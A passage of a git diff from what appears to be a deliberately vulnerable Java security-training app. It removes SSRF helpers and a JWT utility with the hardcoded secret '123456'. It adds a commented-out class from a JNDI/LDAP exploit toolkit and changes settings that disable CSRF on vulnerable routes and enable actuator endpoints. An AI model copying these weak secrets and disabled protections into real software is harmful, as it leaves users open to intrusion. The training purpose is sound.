catch (Exception e){ - logger.error("SSRFChecker isOctalIP exception: " + e.getMessage()); - return false; - } - - } - - /** - * Check string is a number. - * @return If string is a number 0-9, return true. Otherwise, return false. - */ - private static boolean isNumber(String str) { - if (null == str || "".equals(str)) { - return false; - } - for (int i = 0; i < str.length(); i++) { - char ch = str.charAt(i); - if (ch < '0' || ch > '9') { - return false; - } - } - return true; - } - - - /** - * Check string is a number or dot. - * @return If string is a number or a dot, return true. Otherwise, return false. - */ - private static boolean isNumberOrDot(String s) { - for (int i = 0; i < s.length(); i++) { - char ch = s.charAt(i); - if ((ch < '0' || ch > '9') && ch != '.'){ - return false; - } - } - return true; - } - - /** - * Get host from URL which the protocol must be http:// or https:// and not be //. + * 从URL中获取host,限制为http/https协议。只支持http:// 和 https://,不支持//的http协议。 + * + * @param url http的url */ private static String url2host(String url) { try { - // use URI instead of URL + // 使用URI,而非URL,防止被绕过。 URI u = new URI(url); if (SecurityUtil.isHttp(url)) { return u.getHost(); diff --git a/src/main/java/org/joychou/service/HttpService.java b/src/main/java/org/joychou/service/HttpService.java deleted file mode 100644 index 198a5311..00000000 --- a/src/main/java/org/joychou/service/HttpService.java +++ /dev/null @@ -1,11 +0,0 @@ -package org.joychou.service; - - -import org.springframework.http.HttpHeaders; - -public interface HttpService { - - String RequestHttp(String url, HttpHeaders headers); - - String RequestHttpBanRedirects(String url, HttpHeaders headers); -} diff --git a/src/main/java/org/joychou/util/ClassUtil.java b/src/main/java/org/joychou/util/ClassUtil.java new file mode 100644 index 00000000..dc3aae78 --- /dev/null +++ b/src/main/java/org/joychou/util/ClassUtil.java @@ -0,0 +1,122 @@ +//package org.joychou.util; +// +//import java.io.ByteArrayOutputStream; +//import java.io.IOException; +//import java.io.InputStream; +//import java.io.ObjectOutputStream; +//import java.lang.reflect.Method; +//import java.util.Random; +// +//public class ClassUtil { +// public static String getRandomString() { +// String str = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; +// StringBuilder sb = new StringBuilder(); +// for (int i = 0; i < 10; i++) { +// char ch = str.charAt(new Random().nextInt(str.length())); +// sb.append(ch); +// } +// return sb.toString(); +// } +// +// public static String getClassCode(Class clazz) throws Exception { +// byte[] bytes = getClassBytes(clazz); +// String result = com.feihong.ldap.utils.Util.base64Encode(bytes); +// +// return result; +// } +// +// public static byte[] getClassBytes(Class clazz) throws Exception { +// String className = clazz.getName(); +// String resoucePath = className.replaceAll("\\.", "/") + ".class"; +// InputStream in = com.feihong.ldap.utils.Util.class.getProtectionDomain().getClassLoader().getResourceAsStream(resoucePath); +// byte[] bytes = new byte[1024]; +// ByteArrayOutputStream baous = new ByteArrayOutputStream(); +// int len = 0; +// while((len = in.read(bytes)) != -1){ +// baous.write(bytes, 0 , len); +// } +// +// in.close(); +// baous.close(); +// +// return baous.toByteArray(); +// } +// +// public static String base64Encode(byte[] bytes) throws Exception{ +// String result; +// +// try{ +// Class clazz = Class.forName("java.util.Base64"); +// Method method = clazz.getDeclaredMethod("getEncoder"); +// Object obj = method.invoke(null); +// method = obj.getClass().getDeclaredMethod("encodeToString", byte[].class); +// obj = method.invoke(obj, bytes); +// result = (String)obj; +// }catch(ClassNotFoundException e){ +// Class clazz = Class.forName("sun.misc.BASE64Encoder"); +// Method method = clazz.getMethod("encodeBuffer", byte[].class); +// Object obj = method.invoke(clazz.newInstance(), bytes); +// result = (String)obj; +// result = result.replaceAll("\r|\n|\r\n", ""); +// } +// +// return result; +// } +// +// public static byte[] base64Decode(String str) throws Exception{ +// byte[] bytes; +// +// try{ +// Class clazz = Class.forName("java.util.Base64"); +// Method method = clazz.getDeclaredMethod("getDecoder"); +// Object obj = method.invoke(null); +// method = obj.getClass().getDeclaredMethod("decode", String.class); +// obj = method.invoke(obj, str); +// bytes = (byte[]) obj; +// }catch(ClassNotFoundException e){ +// Class clazz = Class.forName("sun.misc.BASE64Decoder"); +// Method method = clazz.getMethod("decodeBuffer", String.class); +// Object obj = method.invoke(clazz.newInstance(), str); +// bytes = (byte[]) obj; +// } +// +// return bytes; +// } +// +// public static byte[] serialize(Object ref) throws IOException { +// ByteArrayOutputStream out = new ByteArrayOutputStream(); +// ObjectOutputStream objOut = new ObjectOutputStream(out); +// objOut.writeObject(ref); +// return out.toByteArray(); +// } +// +// public static String getCmdFromBase(String base) throws Exception { +// int firstIndex = base.lastIndexOf("/"); +// String cmd = base.substring(firstIndex + 1); +// +// int secondIndex = base.lastIndexOf("/", firstIndex - 1); +// if(secondIndex < 0){ +// secondIndex = 0; +// } +// +// if(base.substring(secondIndex + 1, firstIndex).equalsIgnoreCase("base64")){ +// byte[] bytes = com.feihong.ldap.utils.Util.base64Decode(cmd); +// cmd = new String(bytes); +// } +// +// return cmd; +// } +// +// public static String[] getIPAndPortFromBase(String base) throws NumberFormatException{ +// int firstIndex = base.lastIndexOf("/"); +// String port = base.substring(firstIndex + 1); +// +// int secondIndex = base.lastIndexOf("/", firstIndex - 1); +// if(secondIndex < 0){ +// secondIndex = 0; +// } +// +// String ip = base.substring(secondIndex + 1, firstIndex); +// return new String[]{ip, Integer.parseInt(port) + ""}; +// } +//} diff --git a/src/main/java/org/joychou/util/CookieUtils.java b/src/main/java/org/joychou/util/CookieUtils.java deleted file mode 100644 index f63b6e42..00000000 --- a/src/main/java/org/joychou/util/CookieUtils.java +++ /dev/null @@ -1,37 +0,0 @@ -package org.joychou.util; - -import lombok.extern.slf4j.Slf4j; - -import javax.servlet.http.Cookie; -import javax.servlet.http.HttpServletResponse; - - -@Slf4j -public class CookieUtils { - - public static boolean deleteCookie(HttpServletResponse res, String cookieName) { - try { - Cookie cookie = new Cookie(cookieName, null); - cookie.setMaxAge(0); - cookie.setPath("/"); - res.addCookie(cookie); - return true; - } catch (Exception e) { - log.error(e.toString()); - return false; - } - } - - public static boolean addCookie(HttpServletResponse res, String cookieName, String cookieValue) { - try { - Cookie cookie = new Cookie(cookieName, cookieValue); - cookie.setMaxAge(1000); - cookie.setPath("/"); - res.addCookie(cookie); - return true; - } catch (Exception e) { - log.error(e.toString()); - return false; - } - } -} diff --git a/src/main/java/org/joychou/util/HttpUtils.java b/src/main/java/org/joychou/util/HttpUtils.java index c1eac95c..4f608301 100644 --- a/src/main/java/org/joychou/util/HttpUtils.java +++ b/src/main/java/org/joychou/util/HttpUtils.java @@ -94,6 +94,7 @@ public static String URLConnection(String url) { URL u = new URL(url); URLConnection urlConnection = u.openConnection(); BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); //send request + // BufferedReader in = new BufferedReader(new InputStreamReader(u.openConnection().getInputStream())); String inputLine; StringBuilder html = new StringBuilder(); @@ -109,17 +110,12 @@ public static String URLConnection(String url) { } - /** - * The default setting of followRedirects is true. - * UserAgent is Java/1.8.0_102. - */ public static String HttpURLConnection(String url) { try { URL u = new URL(url); URLConnection urlConnection = u.openConnection(); HttpURLConnection conn = (HttpURLConnection) urlConnection; -// conn.setInstanceFollowRedirects(false); -// Many HttpURLConnection methods can send http request, such as getResponseCode, getHeaderField + // Many HttpURLConnection methods can send http request, such as getResponseCode, getHeaderField InputStream is = conn.getInputStream(); // send request BufferedReader in = new BufferedReader(new InputStreamReader(is)); String inputLine; @@ -145,7 +141,7 @@ public static String HttpURLConnection(String url) { public static String Jsoup(String url) { try { Document doc = Jsoup.connect(url) -// .followRedirects(false) + //.followRedirects(false) .timeout(3000) .cookie("name", "joychou") // request cookies .execute().parse(); @@ -163,19 +159,12 @@ public static String Jsoup(String url) { */ public static String okhttp(String url) throws IOException { OkHttpClient client = new OkHttpClient(); -// client.setFollowRedirects(false); + // client.setFollowRedirects(false); com.squareup.okhttp.Request ok_http = new com.squareup.okhttp.Request.Builder().url(url).build(); return client.newCall(ok_http).execute().body().string(); } - /** - * The default setting of followRedirects is true. - * - * UserAgent is Java/1.8.0_102. - * - * @param url http request url - */ public static void imageIO(String url) { try { URL u = new URL(url); @@ -220,4 +209,5 @@ public static String HttpAsyncClients(String url) { } } } + } diff --git a/src/main/java/org/joychou/util/JwtUtils.java b/src/main/java/org/joychou/util/JwtUtils.java deleted file mode 100644 index bb33642e..00000000 --- a/src/main/java/org/joychou/util/JwtUtils.java +++ /dev/null @@ -1,104 +0,0 @@ -package org.joychou.util; - -import com.auth0.jwt.JWT; -import com.auth0.jwt.JWTVerifier; -import com.auth0.jwt.algorithms.Algorithm; -import com.auth0.jwt.exceptions.JWTVerificationException; -import io.jsonwebtoken.Claims; -import io.jsonwebtoken.Jwts; -import io.jsonwebtoken.SignatureAlgorithm; -import lombok.extern.slf4j.Slf4j; - -import java.nio.charset.StandardCharsets; -import java.util.Base64; -import java.util.Date; - -@Slf4j -public class JwtUtils { - - private static final long EXPIRE = 1440 * 60 * 1000; // 1440 Minutes, 1 DAY - private static final String SECRET = "123456"; - private static final String B64_SECRET = Base64.getEncoder().encodeToString(SECRET.getBytes(StandardCharsets.UTF_8)); - - /** - * Generate JWT Token by jjwt (last update time: Jul 05, 2018) - * - * @author JoyChou 2022-09-20 - * @param userId userid - * @return token - */ - public static String generateTokenByJjwt(String userId) { - return Jwts.builder() - .setHeaderParam("typ", "JWT") // header - .setHeaderParam("alg", "HS256") // header - .setIssuedAt(new Date()) // token发布时间 - .setExpiration(new Date(System.currentTimeMillis() + EXPIRE)) // token过期时间 - .claim("userid", userId) - // secret在signWith会base64解码,但网上很多代码示例并没对secret做base64编码,所以在爆破key的时候可以注意下。 - .signWith(SignatureAlgorithm.HS256, B64_SECRET) - .compact(); - } - - public static String getUserIdFromJjwtToken(String token) { - try { - Claims claims = Jwts.parser().setSigningKey(B64_SECRET).parseClaimsJws(token).getBody(); - return (String)claims.get("userid"); - } catch (Exception e) { - return e.toString(); - } - } - - /** - * Generate jwt token by java-jwt. - * - * @author JoyChou 2022-09-20 - * @param nickname nickname - * @return jwt token - */ - public static String generateTokenByJavaJwt(String nickname) { - return JWT.create() - .withClaim("nickname", nickname) - .withExpiresAt(new Date(System.currentTimeMillis() + EXPIRE)) - .withIssuedAt(new Date()) - .sign(Algorithm.HMAC256(SECRET)); - } - - - /** - * Verify JWT Token - * @param token token - * @return Valid token returns true. Invalid token returns false. - */ - public static Boolean verifyTokenByJavaJwt(String token) { - try { - Algorithm algorithm = Algorithm.HMAC256(SECRET); - JWTVerifier verifier = JWT.require(algorithm).build(); - verifier.verify(token); - return true; - } catch (JWTVerificationException exception){ - log.error(exception.toString()); - return false; - } - } - - - public static String getNicknameByJavaJwt(String token) { - // If the signature is not verified, there will be security issues. - if (!verifyTokenByJavaJwt(token)) { - log.error("token is invalid"); - return null; - } - return JWT.decode(token).getClaim("nickname").asString(); - } - - - public static void main(String[] args) { - String jjwtToken = generateTokenByJjwt("10000"); - System.out.println(jjwtToken); - System.out.println(getUserIdFromJjwtToken(jjwtToken)); - - String token = generateTokenByJavaJwt("JoyChou"); - System.out.println(token); - System.out.println(getNicknameByJavaJwt(token)); - } -} diff --git a/src/main/java/org/joychou/util/WebUtils.java b/src/main/java/org/joychou/util/WebUtils.java index 0445f310..4816df8e 100644 --- a/src/main/java/org/joychou/util/WebUtils.java +++ b/src/main/java/org/joychou/util/WebUtils.java @@ -2,7 +2,9 @@ import javax.servlet.http.Cookie; import javax.servlet.http.HttpServletRequest; -import java.io.*; +import java.io.File; +import java.io.IOException; +import java.io.InputStream; import com.google.common.base.Preconditions; import org.springframework.web.util.HtmlUtils; @@ -15,6 +17,7 @@ public static String getRequestBody(HttpServletRequest request) throws IOExcepti return convertStreamToString(in); } + // https://stackoverflow.com/questions/309424/how-do-i-read-convert-an-inputstream-into-a-string-in-java public static String convertStreamToString(java.io.InputStream is) { java.util.Scanner s = new java.util.Scanner(is).useDelimiter("\\A"); diff --git a/src/main/resources/application.properties b/src/main/resources/application.properties index 326a2b76..d29a8f56 100644 --- a/src/main/resources/application.properties +++ b/src/main/resources/application.properties @@ -1,7 +1,7 @@ -spring.datasource.url=jdbc:mysql://localhost:3306/java_sec_code?allowPublicKeyRetrieval=true&useSSL=false&serverTimezone=UTC -spring.datasource.username=root -spring.datasource.password=woshishujukumima +spring.datasource.url=jdbc:mysql://192.168.17.128:3306/java_sec_code?AllowPublicKeyRetrieval=true&useSSL=false&serverTimezone=UTC +spring.datasource.username=java_sec_code +spring.datasource.password=java_sec_code spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver mybatis.mapper-locations=classpath:mapper/*.xml # mybatis SQL log @@ -9,10 +9,12 @@ logging.level.org.joychou.mapper=debug # Spring Boot Actuator Config management.security.enabled=false +endpoints.enabled=true + # logging.config=classpath:logback-online.xml -# jsonp callback parameter +# 业务的callback参数,不支持多个 joychou.business.callback = callback_ @@ -28,14 +30,13 @@ joychou.security.referer.uri = /jsonp/** # csrf token check joychou.security.csrf.enabled = false # URI without CSRF check (only support ANT url format) -joychou.security.csrf.exclude.url = /xxe/**, /fastjson/**, /xstream/**, /ssrf/**, /deserialize/** +joychou.security.csrf.exclude.url = /xxe/**, /fastjson/**, /xstream/**, /ssrf/**, /spel/vuln # method for CSRF check joychou.security.csrf.method = POST ### csrf configuration ends ### -### jsonp configuration begins ### -# auto convert json to jsonp +### jsonp configuration begins ### # auto convert json to jsonp # referer check joychou.security.jsonp.referer.check.enabled = true joychou.security.jsonp.callback = callback, _callback @@ -44,16 +45,8 @@ joychou.security.jsonp.callback = callback, _callback # swagger swagger.enable = true +server.port=7788 -### no need to login page begins ### -joychou.no.need.login.url = /css/**, /js/**, /xxe/**, /rce/**, /deserialize/**, /test/**, /ws/**, /shiro/**, /ssrf/**, /spel/**, /qlexpress/** -### no need to login page ends ### - - - -# http header max size -#server.max-http-header-size=30000 - -# Fake aksk. Simulate actuator info leak. -jsc.accessKey.id=LTAI5tSAEPX3Z5N2Yt8ogc2y -jsc.accessKey.secret=W1Poxj09wN0Zu6dDsS0on3SIUhOhK7 \ No newline at end of file +spring.main.allow-circular-references=true +# to disable liquibase when importing flowable-engine, ref: https://stackoverflow.com/questions/37708145/spring-boot-disable-liquibase-at-startup +spring.liquibase.enabled=false \ No newline at end of file diff --git a/src/main/resources/bootstrap.yml b/src/main/resources/bootstrap.yml new file mode 100644 index 00000000..c7214e11 --- /dev/null +++ b/src/main/resources/bootstrap.yml @@ -0,0 +1,31 @@ +#server: +# port: 8877 +# +#spring: +# cloud: +# nacos: +# config: +# name: application-my +# file-extension: yaml +# group: DEFAULT_GROUP +# server-addr: 192.168.17.128:8848 +# discovery: +# server-addr: 192.168.17.128:8848 +# +#joychou: +# business: +# callback: callback_ +# security: +# jsonp: +# callback: callback, _callback +# referer: +# check: +# enabled: true +# csrf: +# method: POST +# exclude: +# url: /xxe/**, /fastjson/**, /xstream/**, /ssrf/**, /spel/vuln +# enabled: false +# referer: +# host: joychou.org, joychou.com +# uri: /jsonp/** \ No newline at end of file diff --git a/src/main/resources/static/js/jquery.min.js b/src/main/resources/static/js/jquery.min.js new file mode 100644 index 00000000..a1c07fd8 --- /dev/null +++ b/src/main/resources/static/js/jquery.min.js @@ -0,0 +1,2 @@ +/*! jQuery v3.4.1 | (c) JS Foundation and other contributors | jquery.org/license */ +!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],E=C.document,r=Object.getPrototypeOf,s=t.slice,g=t.concat,u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n||E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]||t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?n[o.call(e)]||"object":typeof e}var f="3.4.1",k=function(e,t){return new k.fn.init(e,t)},p=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;function d(e){var t=!!e&&"length"in e&&e.length,n=w(e);return!m(e)&&!x(e)&&("array"===n||0===t||"number"==typeof t&&0+~]|"+M+")"+M+"*"),U=new RegExp(M+"|>"),X=new RegExp($),V=new RegExp("^"+I+"$"),G={ID:new RegExp("^#("+I+")"),CLASS:new RegExp("^\\.("+I+")"),TAG:new RegExp("^("+I+"|[*])"),ATTR:new RegExp("^"+W),PSEUDO:new RegExp("^"+$),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+M+"*(even|odd|(([+-]|)(\\d*)n|)"+M+"*(?:([+-]|)"+M+"*(\\d+)|))"+M+"*\\)|)","i"),bool:new RegExp("^(?:"+R+")$","i"),needsContext:new RegExp("^"+M+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+M+"*((?:-\\d)?\\d*)"+M+"*\\)|)(?=[^-]|$)","i")},Y=/HTML$/i,Q=/^(?:input|select|textarea|button)$/i,J=/^h\d$/i,K=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,ee=/[+~]/,te=new RegExp("\\\\([\\da-f]{1,6}"+M+"?|("+M+")|.)","ig"),ne=function(e,t,n){var r="0x"+t-65536;return r!=r||n?t:r<0?String.fromCharCode(r+65536):String.fromCharCode(r>>10|55296,1023&r|56320)},re=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ie=function(e,t){return t?"\0"===e?"\ufffd":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e},oe=function(){T()},ae=be(function(e){return!0===e.disabled&&"fieldset"===e.nodeName.toLowerCase()},{dir:"parentNode",next:"legend"});try{H.apply(t=O.call(m.childNodes),m.childNodes),t[m.childNodes.length].nodeType}catch(e){H={apply:t.length?function(e,t){L.apply(e,O.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function se(t,e,n,r){var i,o,a,s,u,l,c,f=e&&e.ownerDocument,p=e?e.nodeType:9;if(n=n||[],"string"!=typeof t||!t||1!==p&&9!==p&&11!==p)return n;if(!r&&((e?e.ownerDocument||e:m)!==C&&T(e),e=e||C,E)){if(11!==p&&(u=Z.exec(t)))if(i=u[1]){if(9===p){if(!(a=e.getElementById(i)))return n;if(a.id===i)return n.push(a),n}else if(f&&(a=f.getElementById(i))&&y(e,a)&&a.id===i)return n.push(a),n}else{if(u[2])return H.apply(n,e.getElementsByTagName(t)),n;if((i=u[3])&&d.getElementsByClassName&&e.getElementsByClassName)return H.apply(n,e.getElementsByClassName(i)),n}if(d.qsa&&!A[t+" "]&&(!v||!v.test(t))&&(1!==p||"object"!==e.nodeName.toLowerCase())){if(c=t,f=e,1===p&&U.test(t)){(s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=k),o=(l=h(t)).length;while(o--)l[o]="#"+s+" "+xe(l[o]);c=l.join(","),f=ee.test(t)&&ye(e.parentNode)||e}try{return H.apply(n,f.querySelectorAll(c)),n}catch(e){A(t,!0)}finally{s===k&&e.removeAttribute("id")}}}return g(t.replace(B,"$1"),e,n,r)}function ue(){var r=[];return function e(t,n){return r.push(t+" ")>b.cacheLength&&delete e[r.shift()],e[t+" "]=n}}function le(e){return e[k]=!0,e}function ce(e){var t=C.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function fe(e,t){var n=e.split("|"),r=n.length;while(r--)b.attrHandle[n[r]]=t}function pe(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function de(t){return function(e){return"input"===e.nodeName.toLowerCase()&&e.type===t}}function he(n){return function(e){var t=e.nodeName.toLowerCase();return("input"===t||"button"===t)&&e.type===n}}function ge(t){return function(e){return"form"in e?e.parentNode&&!1===e.disabled?"label"in e?"label"in e.parentNode?e.parentNode.disabled===t:e.disabled===t:e.isDisabled===t||e.isDisabled!==!t&&ae(e)===t:e.disabled===t:"label"in e&&e.disabled===t}}function ve(a){return le(function(o){return o=+o,le(function(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e.namespaceURI,n=(e.ownerDocument||e).documentElement;return!Y.test(t||n&&n.nodeName||"HTML")},T=se.setDocument=function(e){var t,n,r=e?e.ownerDocument||e:m;return r!==C&&9===r.nodeType&&r.documentElement&&(a=(C=r).documentElement,E=!i(C),m!==C&&(n=C.defaultView)&&n.top!==n&&(n.addEventListener?n.addEventListener("unload",oe,!1):n.attachEvent&&n.attachEvent("onunload",oe)),d.attributes=ce(function(e){return e.className="i",!e.getAttribute("className")}),d.getElementsByTagName=ce(function(e){return e.appendChild(C.createComment("")),!e.getElementsByTagName("*").length}),d.getElementsByClassName=K.test(C.getElementsByClassName),d.getById=ce(function(e){return a.appendChild(e).id=k,!C.getElementsByName||!C.getElementsByName(k).length}),d.getById?(b.filter.ID=function(e){var t=e.replace(te,ne);return function(e){return e.getAttribute("id")===t}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n=t.getElementById(e);return n?[n]:[]}}):(b.filter.ID=function(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((n=o.getAttributeNode("id"))&&n.value===e)return[o];i=t.getElementsByName(e),r=0;while(o=i[r++])if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),b.find.TAG=d.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):d.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},b.find.CLASS=d.getElementsByClassName&&function(e,t){if("undefined"!=typeof t.getElementsByClassName&&E)return t.getElementsByClassName(e)},s=[],v=[],(d.qsa=K.test(C.querySelectorAll))&&(ce(function(e){a.appendChild(e).innerHTML="",e.querySelectorAll("[msallowcapture^='']").length&&v.push("[*^$]="+M+"*(?:''|\"\")"),e.querySelectorAll("[selected]").length||v.push("\\["+M+"*(?:value|"+R+")"),e.querySelectorAll("[id~="+k+"-]").length||v.push("~="),e.querySelectorAll(":checked").length||v.push(":checked"),e.querySelectorAll("a#"+k+"+*").length||v.push(".#.+[+~]")}),ce(function(e){e.innerHTML="";var t=C.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&v.push("name"+M+"*[*^$|!~]?="),2!==e.querySelectorAll(":enabled").length&&v.push(":enabled",":disabled"),a.appendChild(e).disabled=!0,2!==e.querySelectorAll(":disabled").length&&v.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),v.push(",.*:")})),(d.matchesSelector=K.test(c=a.matches||a.webkitMatchesSelector||a.mozMatchesSelector||a.oMatchesSelector||a.msMatchesSelector))&&ce(function(e){d.disconnectedMatch=c.call(e,"*"),c.call(e,"[s!='']:x"),s.push("!=",$)}),v=v.length&&new RegExp(v.join("|")),s=s.length&&new RegExp(s.join("|")),t=K.test(a.compareDocumentPosition),y=t||K.test(a.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},D=t?function(e,t){if(e===t)return l=!0,0;var n=!e.compareDocumentPosition-!t.compareDocumentPosition;return n||(1&(n=(e.ownerDocument||e)===(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!d.sortDetached&&t.compareDocumentPosition(e)===n?e===C||e.ownerDocument===m&&y(m,e)?-1:t===C||t.ownerDocument===m&&y(m,t)?1:u?P(u,e)-P(u,t):0:4&n?-1:1)}:function(e,t){if(e===t)return l=!0,0;var n,r=0,i=e.parentNode,o=t.parentNode,a=[e],s=[t];if(!i||!o)return e===C?-1:t===C?1:i?-1:o?1:u?P(u,e)-P(u,t):0;if(i===o)return pe(e,t);n=e;while(n=n.parentNode)a.unshift(n);n=t;while(n=n.parentNode)s.unshift(n);while(a[r]===s[r])r++;return r?pe(a[r],s[r]):a[r]===m?-1:s[r]===m?1:0}),C},se.matches=function(e,t){return se(e,null,null,t)},se.matchesSelector=function(e,t){if((e.ownerDocument||e)!==C&&T(e),d.matchesSelector&&E&&!A[t+" "]&&(!s||!s.test(t))&&(!v||!v.test(t)))try{var n=c.call(e,t);if(n||d.disconnectedMatch||e.document&&11!==e.document.nodeType)return n}catch(e){A(t,!0)}return 0":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(te,ne),e[3]=(e[3]||e[4]||e[5]||"").replace(te,ne),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||se.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&se.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return G.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&X.test(n)&&(t=h(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(te,ne).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=p[e+" "];return t||(t=new RegExp("(^|"+M+")"+e+"("+M+"|$)"))&&p(e,function(e){return t.test("string"==typeof e.className&&e.className||"undefined"!=typeof e.getAttribute&&e.getAttribute("class")||"")})},ATTR:function(n,r,i){return function(e){var t=se.attr(e,n);return null==t?"!="===r:!r||(t+="","="===r?t===i:"!="===r?t!==i:"^="===r?i&&0===t.indexOf(i):"*="===r?i&&-1:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;function j(e,n,r){return m(n)?k.grep(e,function(e,t){return!!n.call(e,t,e)!==r}):n.nodeType?k.grep(e,function(e){return e===n!==r}):"string"!=typeof n?k.grep(e,function(e){return-1)[^>]*|#([\w-]+))$/;(k.fn.init=function(e,t,n){var r,i;if(!e)return this;if(n=n||q,"string"==typeof e){if(!(r="<"===e[0]&&">"===e[e.length-1]&&3<=e.length?[null,e,null]:L.exec(e))||!r[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(r[1]){if(t=t instanceof k?t[0]:t,k.merge(this,k.parseHTML(r[1],t&&t.nodeType?t.ownerDocument||t:E,!0)),D.test(r[1])&&k.isPlainObject(t))for(r in t)m(this[r])?this[r](t[r]):this.attr(r,t[r]);return this}return(i=E.getElementById(r[2]))&&(this[0]=i,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):m(e)?void 0!==n.ready?n.ready(e):e(k):k.makeArray(e,this)}).prototype=k.fn,q=k(E);var H=/^(?:parents|prev(?:Until|All))/,O={children:!0,contents:!0,next:!0,prev:!0};function P(e,t){while((e=e[t])&&1!==e.nodeType);return e}k.fn.extend({has:function(e){var t=k(e,this),n=t.length;return this.filter(function(){for(var e=0;e\x20\t\r\n\f]*)/i,he=/^$|^module$|\/(?:java|ecma)script/i,ge={option:[1,""],thead:[1,"","
"],col:[2,"","
"],tr:[2,"","
"],td:[3,"","
"],_default:[0,"",""]};function ve(e,t){var n;return n="undefined"!=typeof e.getElementsByTagName?e.getElementsByTagName(t||"*"):"undefined"!=typeof e.querySelectorAll?e.querySelectorAll(t||"*"):[],void 0===t||t&&A(e,t)?k.merge([e],n):n}function ye(e,t){for(var n=0,r=e.length;nx",y.noCloneChecked=!!me.cloneNode(!0).lastChild.defaultValue;var Te=/^key/,Ce=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,Ee=/^([^.]*)(?:\.(.+)|)/;function ke(){return!0}function Se(){return!1}function Ne(e,t){return e===function(){try{return E.activeElement}catch(e){}}()==("focus"===t)}function Ae(e,t,n,r,i,o){var a,s;if("object"==typeof t){for(s in"string"!=typeof n&&(r=r||n,n=void 0),t)Ae(e,s,n,r,t[s],o);return e}if(null==r&&null==i?(i=n,r=n=void 0):null==i&&("string"==typeof n?(i=r,r=void 0):(i=r,r=n,n=void 0)),!1===i)i=Se;else if(!i)return e;return 1===o&&(a=i,(i=function(e){return k().off(e),a.apply(this,arguments)}).guid=a.guid||(a.guid=k.guid++)),e.each(function(){k.event.add(this,t,i,r,n)})}function De(e,i,o){o?(Q.set(e,i,!1),k.event.add(e,i,{namespace:!1,handler:function(e){var t,n,r=Q.get(this,i);if(1&e.isTrigger&&this[i]){if(r.length)(k.event.special[i]||{}).delegateType&&e.stopPropagation();else 